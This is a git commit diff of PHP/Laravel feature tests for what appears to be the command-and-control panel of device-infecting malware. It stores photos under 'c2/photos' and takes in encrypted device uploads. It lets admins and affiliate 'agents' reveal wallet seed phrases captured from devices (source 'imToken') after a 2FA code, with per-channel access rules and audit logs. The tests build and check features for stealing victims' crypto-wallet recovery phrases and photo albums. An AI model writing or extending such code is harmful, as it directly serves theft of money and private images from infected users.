feat: menric
This commit is contained in:
@@ -85,6 +85,38 @@ class AdminAgentPortalTest extends TestCase
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_google2fa_required_when_enabled(): void
|
||||
{
|
||||
$google2fa = app(\App\Services\AdminGoogle2fa::class);
|
||||
$secret = $google2fa->generateSecret();
|
||||
$agent = User::query()->create([
|
||||
'username' => 'gaagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$agent->forceFill([
|
||||
'google_auth_open' => 1,
|
||||
'google_secret' => $secret,
|
||||
])->save();
|
||||
|
||||
$this->post('/user/login', [
|
||||
'username' => 'gaagent',
|
||||
'password' => 'secret12',
|
||||
])->assertOk()->assertJson(['code' => 1, 'msg' => '请输入谷歌验证码!']);
|
||||
|
||||
$this->assertGuest('agent');
|
||||
|
||||
$code = (new \PragmaRX\Google2FA\Google2FA)->getCurrentOtp($secret);
|
||||
$this->post('/user/login', [
|
||||
'username' => 'gaagent',
|
||||
'password' => 'secret12',
|
||||
'GACode' => $code,
|
||||
])->assertOk()->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
|
||||
{
|
||||
@@ -384,6 +416,89 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_create_and_update_agent_mnemonic_reveal(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.agents.store'), [
|
||||
'username' => 'revealagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'can_reveal_mnemonics' => 1,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$agent = User::query()->where('username', 'revealagent')->first();
|
||||
$this->assertNotNull($agent);
|
||||
$this->assertTrue($agent->mnemonicRevealEnabled());
|
||||
$this->assertFalse($agent->canRevealMnemonics());
|
||||
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$this->assertTrue($agent->fresh()->canRevealMnemonics());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->put(route('admin.agents.update', $agent), [
|
||||
'can_reveal_mnemonics' => 0,
|
||||
])
|
||||
->assertOk();
|
||||
|
||||
$this->assertFalse($agent->fresh()->mnemonicRevealEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_page_hides_mnemonic_reveal_when_env_off(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
User::query()->create(['username' => 'hideagent', 'password' => 'secret12', 'status' => 1]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.agents.index'))
|
||||
->assertOk()
|
||||
->assertDontSee('查看助记词', false);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.agents.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.username', 'hideagent')
|
||||
->assertJsonMissingPath('data.0.can_reveal_mnemonics');
|
||||
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.agents.index'))
|
||||
->assertOk()
|
||||
->assertSee('查看助记词', false);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.agents.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal_mnemonics', 0);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_list_shows_google_bound_status(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
User::query()->create(['username' => 'unbound', 'password' => 'secret12', 'status' => 1]);
|
||||
$bound = User::query()->create(['username' => 'bound', 'password' => 'secret12', 'status' => 1]);
|
||||
$bound->forceFill(['google_secret' => 'JBSWY3DPEHPK3PXP'])->save();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.agents.index'))
|
||||
->assertOk()
|
||||
->assertSee('谷歌验证', false);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.agents.data'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['username' => 'unbound', 'google_bound' => 0])
|
||||
->assertJsonFragment(['username' => 'bound', 'google_bound' => 1]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_create_channel(): void
|
||||
{
|
||||
|
||||
@@ -172,6 +172,78 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
$this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_uses_official_album_storage_default_on(): void
|
||||
{
|
||||
config(['coruna.album_storage.official_default' => true]);
|
||||
$channelId = 'ffffffffffffffffffffffffffffffff';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600220';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-official-album-on',
|
||||
'c' => $channelId,
|
||||
], $ts);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-official-album-on')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function later_channel_fill_applies_official_album_default(): void
|
||||
{
|
||||
config(['coruna.album_storage.official_default' => true]);
|
||||
$channelId = 'fffffffffffffffffffffffffffffffe';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
$tsSet = '1722585600221';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-official-album-late',
|
||||
'c' => $channelId,
|
||||
'a' => 'a1',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
], $tsSet);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet,
|
||||
], $encSet['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-official-album-late')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
|
||||
$tsPut = '1722585600222';
|
||||
$encPut = $crypto->encryptJson([
|
||||
'd' => 'dev-official-album-late',
|
||||
'c' => $channelId,
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut,
|
||||
], $encPut['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame($channelId, $device->channel_id);
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_skips_photos_when_album_storage_off(): void
|
||||
{
|
||||
|
||||
@@ -3,7 +3,10 @@
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
@@ -100,6 +103,22 @@ class MnemonicRevealTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.mnemonic', self::PHRASE);
|
||||
|
||||
$log = SystemLog::query()->first();
|
||||
$this->assertNotNull($log);
|
||||
$this->assertSame(SystemLog::ACTION_MNEMONIC_REVEAL, $log->action);
|
||||
$this->assertSame('admin', $log->actor_guard);
|
||||
$this->assertSame('root', $log->actor_username);
|
||||
$this->assertSame('查看助记词 #'.$mnemonic->id.',设备 dev-reveal-1,来源 imToken', $log->content);
|
||||
$this->assertStringNotContainsString(self::PHRASE, json_encode($log->getAttributes()));
|
||||
|
||||
$list = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.system.logs.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.content', $log->content)
|
||||
->assertJsonPath('data.0.actor_username', 'root');
|
||||
$this->assertStringNotContainsString(self::PHRASE, $list->getContent());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -119,6 +138,8 @@ class MnemonicRevealTest extends TestCase
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -137,6 +158,8 @@ class MnemonicRevealTest extends TestCase
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -155,6 +178,212 @@ class MnemonicRevealTest extends TestCase
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function staff_can_reveal_when_env_enabled(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$secret = $this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal', true)
|
||||
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => $this->otp($secret),
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.mnemonic', self::PHRASE);
|
||||
|
||||
$log = SystemLog::query()->first();
|
||||
$this->assertNotNull($log);
|
||||
$this->assertSame('admin', $log->actor_guard);
|
||||
$this->assertSame('staff', $log->actor_username);
|
||||
$this->assertSame('查看助记词 #'.$mnemonic->id.',设备 dev-reveal-1,来源 imToken', $log->content);
|
||||
$this->assertStringNotContainsString(self::PHRASE, json_encode($log->getAttributes()));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_reveal_when_env_off(): void
|
||||
{
|
||||
$agent = $this->agentWithChannel(true);
|
||||
$this->bindAgentSecret($agent);
|
||||
$mnemonic = $this->storeAgentMnemonic($agent);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal', false);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_reveal_when_flag_off(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$agent = $this->agentWithChannel(false);
|
||||
$this->bindAgentSecret($agent);
|
||||
$mnemonic = $this->storeAgentMnemonic($agent);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_reveals_after_google_code_when_enabled(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$agent = $this->agentWithChannel(true);
|
||||
$secret = $this->bindAgentSecret($agent);
|
||||
$mnemonic = $this->storeAgentMnemonic($agent);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal', true)
|
||||
->assertJsonPath('data.0.reveal_url', route('user.mnemonics.reveal', $mnemonic));
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => $this->otp($secret),
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.mnemonic', self::PHRASE);
|
||||
|
||||
$log = SystemLog::query()->first();
|
||||
$this->assertNotNull($log);
|
||||
$this->assertSame(SystemLog::ACTION_MNEMONIC_REVEAL, $log->action);
|
||||
$this->assertSame('agent', $log->actor_guard);
|
||||
$this->assertSame('reveal_agent', $log->actor_username);
|
||||
$this->assertSame(
|
||||
'查看助记词 #'.$mnemonic->id.',设备 dev-reveal-agent,渠道 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,来源 imToken',
|
||||
$log->content
|
||||
);
|
||||
$this->assertStringNotContainsString(self::PHRASE, json_encode($log->getAttributes()));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_reveal_requires_bound_google(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$agent = $this->agentWithChannel(true);
|
||||
$mnemonic = $this->storeAgentMnemonic($agent);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_reveal_other_channel_mnemonic(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
||||
$agent = $this->agentWithChannel(true);
|
||||
$secret = $this->bindAgentSecret($agent);
|
||||
$other = User::query()->create([
|
||||
'username' => 'other_agent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'can_reveal_mnemonics' => true,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
'user_id' => $other->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-reveal-other',
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
]);
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$row->mnemonic = self::PHRASE;
|
||||
$row->save();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.mnemonics.reveal', $row), [
|
||||
'GACode' => $this->otp($secret),
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertSame(0, SystemLog::query()->count());
|
||||
}
|
||||
|
||||
private function agentWithChannel(bool $canReveal): User
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'reveal_agent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'can_reveal_mnemonics' => $canReveal,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
return $agent;
|
||||
}
|
||||
|
||||
private function storeAgentMnemonic(User $agent): WalletMnemonic
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-reveal-agent',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$row->mnemonic = self::PHRASE;
|
||||
$row->save();
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
private function bindAgentSecret(User $agent): string
|
||||
{
|
||||
$secret = app(AdminGoogle2fa::class)->generateSecret();
|
||||
$agent->forceFill([
|
||||
'google_secret' => $secret,
|
||||
'google_auth_open' => 0,
|
||||
])->save();
|
||||
|
||||
return $secret;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -119,6 +119,66 @@ class PageVisitTest extends TestCase
|
||||
$this->assertSame('203.0.113.50', $row->ip);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_stores_cf_ipcountry(): void
|
||||
{
|
||||
Cache::flush();
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => self::CHANNEL,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
], [], [], [
|
||||
'HTTP_CF_IPCOUNTRY' => 'cn',
|
||||
])->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('CN', $row->country);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_ignores_invalid_cf_ipcountry(): void
|
||||
{
|
||||
Cache::flush();
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => self::CHANNEL,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
], [], [], [
|
||||
'HTTP_CF_IPCOUNTRY' => 'China',
|
||||
])->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertNull($row->country);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ds_register_fills_country_on_merged_visit(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$channel = '3.1.07';
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => $channel,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertNull(PageVisit::query()->first()?->country);
|
||||
|
||||
$this->postJson('/api/ds/device/register', [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'channelCode' => $channel,
|
||||
'ios' => '18.5',
|
||||
'chain' => 'darksword',
|
||||
], [
|
||||
'CF-IPCountry' => 'US',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, PageVisit::query()->count());
|
||||
$this->assertSame('US', PageVisit::query()->first()?->country);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_uses_referer_header_when_query_missing(): void
|
||||
{
|
||||
@@ -465,6 +525,42 @@ class PageVisitTest extends TestCase
|
||||
->assertJsonPath('data.0.client_uid', '50624FE26CC4A0DF689EAEA117557C3E');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_labels_and_filters_country(): void
|
||||
{
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'aaaaaaaaaaaaaaaa',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '1.2.3.4',
|
||||
'country' => 'CN',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'bbbbbbbbbbbbbbbb',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '5.6.7.8',
|
||||
'country' => 'US',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => 'cn']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.country', 'CN')
|
||||
->assertJsonPath('data.0.country_label', '中国');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_does_not_filter_chain_until_explicitly_chosen(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class PhotoReadTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
Storage::fake('local');
|
||||
}
|
||||
|
||||
private function storePng(Device $device, string $name = 'shot.png'): Photo
|
||||
{
|
||||
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
|
||||
$im = imagecreatetruecolor(4, 4);
|
||||
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3));
|
||||
imagepng($im, $tmp);
|
||||
$png = (string) file_get_contents($tmp);
|
||||
@unlink($tmp);
|
||||
$path = 'c2/photos/'.$device->device_id.'/'.$name;
|
||||
Storage::disk('local')->put($path, $png);
|
||||
|
||||
return Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', $png),
|
||||
'path' => $path,
|
||||
'size' => strlen($png),
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function viewing_photo_marks_read_for_that_admin_only(): void
|
||||
{
|
||||
$a = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
$b = Admin::query()->create(['username' => 'staff', 'password' => 'secret12', 'is_super' => 0]);
|
||||
$device = Device::query()->create(['device_id' => 'dev-read-1']);
|
||||
$photo = $this->storePng($device);
|
||||
|
||||
$this->actingAs($a, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk();
|
||||
|
||||
$this->assertSame(1, PhotoRead::query()->count());
|
||||
$row = PhotoRead::query()->first();
|
||||
$this->assertSame('admin', $row->actor_guard);
|
||||
$this->assertSame($a->id, $row->actor_id);
|
||||
$this->assertSame($photo->id, $row->photo_id);
|
||||
|
||||
$this->actingAs($a, 'admin')
|
||||
->getJson(route('admin.photos.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.read', 1);
|
||||
|
||||
$this->actingAs($b, 'admin')
|
||||
->getJson(route('admin.photos.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.read', 0);
|
||||
|
||||
$this->actingAs($a, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk();
|
||||
$this->assertSame(1, PhotoRead::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function photos_data_filters_unread(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
$device = Device::query()->create(['device_id' => 'dev-read-2']);
|
||||
$seen = $this->storePng($device, 'a.png');
|
||||
$this->storePng($device, 'b.png');
|
||||
PhotoRead::mark($seen, 'admin', (int) $admin->id);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.photos.data', ['read' => '0']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.read', 0);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.photos.data', ['read' => '1']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.id', $seen->id)
|
||||
->assertJsonPath('data.0.read', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function device_tab_filters_unread(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
$device = Device::query()->create(['device_id' => 'dev-read-3']);
|
||||
$seen = $this->storePng($device, 'a.png');
|
||||
$this->storePng($device, 'b.png');
|
||||
PhotoRead::mark($seen, 'admin', (int) $admin->id);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'photos', 'read' => '0']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.read', 0);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_read_is_separate_from_admin(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
$agent = User::query()->create([
|
||||
'username' => 'photo_agent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-read-agent',
|
||||
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
||||
]);
|
||||
$photo = $this->storePng($device);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.photos.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.read', 0);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->get(route('user.devices.photo', [$device, $photo->id]))
|
||||
->assertOk();
|
||||
|
||||
$this->assertSame(2, PhotoRead::query()->count());
|
||||
$this->assertTrue(PhotoRead::query()->where('actor_guard', 'agent')->where('actor_id', $agent->id)->exists());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function missing_file_does_not_mark_read(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
$device = Device::query()->create(['device_id' => 'dev-read-missing']);
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => str_repeat('a', 64),
|
||||
'path' => 'c2/photos/dev-read-missing/gone.png',
|
||||
'size' => 1,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertNotFound();
|
||||
|
||||
$this->assertSame(0, PhotoRead::query()->count());
|
||||
}
|
||||
}
|
||||
@@ -63,6 +63,14 @@ class SystemAdminTest extends TestCase
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.admins.index'))
|
||||
->assertForbidden();
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.logs.index'))
|
||||
->assertForbidden();
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->getJson(route('admin.system.logs.data'))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -73,16 +81,37 @@ class SystemAdminTest extends TestCase
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.settings.index'))
|
||||
->assertOk()
|
||||
->assertSee('系统设置');
|
||||
->assertSee('系统设置')
|
||||
->assertSee('相册存储(官方渠道)');
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
||||
->assertDontSee('原始日志');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_can_view_system_logs(): void
|
||||
{
|
||||
$super = $this->superAdmin();
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->get(route('admin.system.logs.index'))
|
||||
->assertOk()
|
||||
->assertSee('系统日志')
|
||||
->assertSee('操作内容')
|
||||
->assertSee('查看助记词');
|
||||
|
||||
$this->actingAs($super, 'admin')
|
||||
->getJson(route('admin.system.logs.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 0);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_sees_full_system_menu(): void
|
||||
{
|
||||
@@ -91,6 +120,7 @@ class SystemAdminTest extends TestCase
|
||||
->assertOk()
|
||||
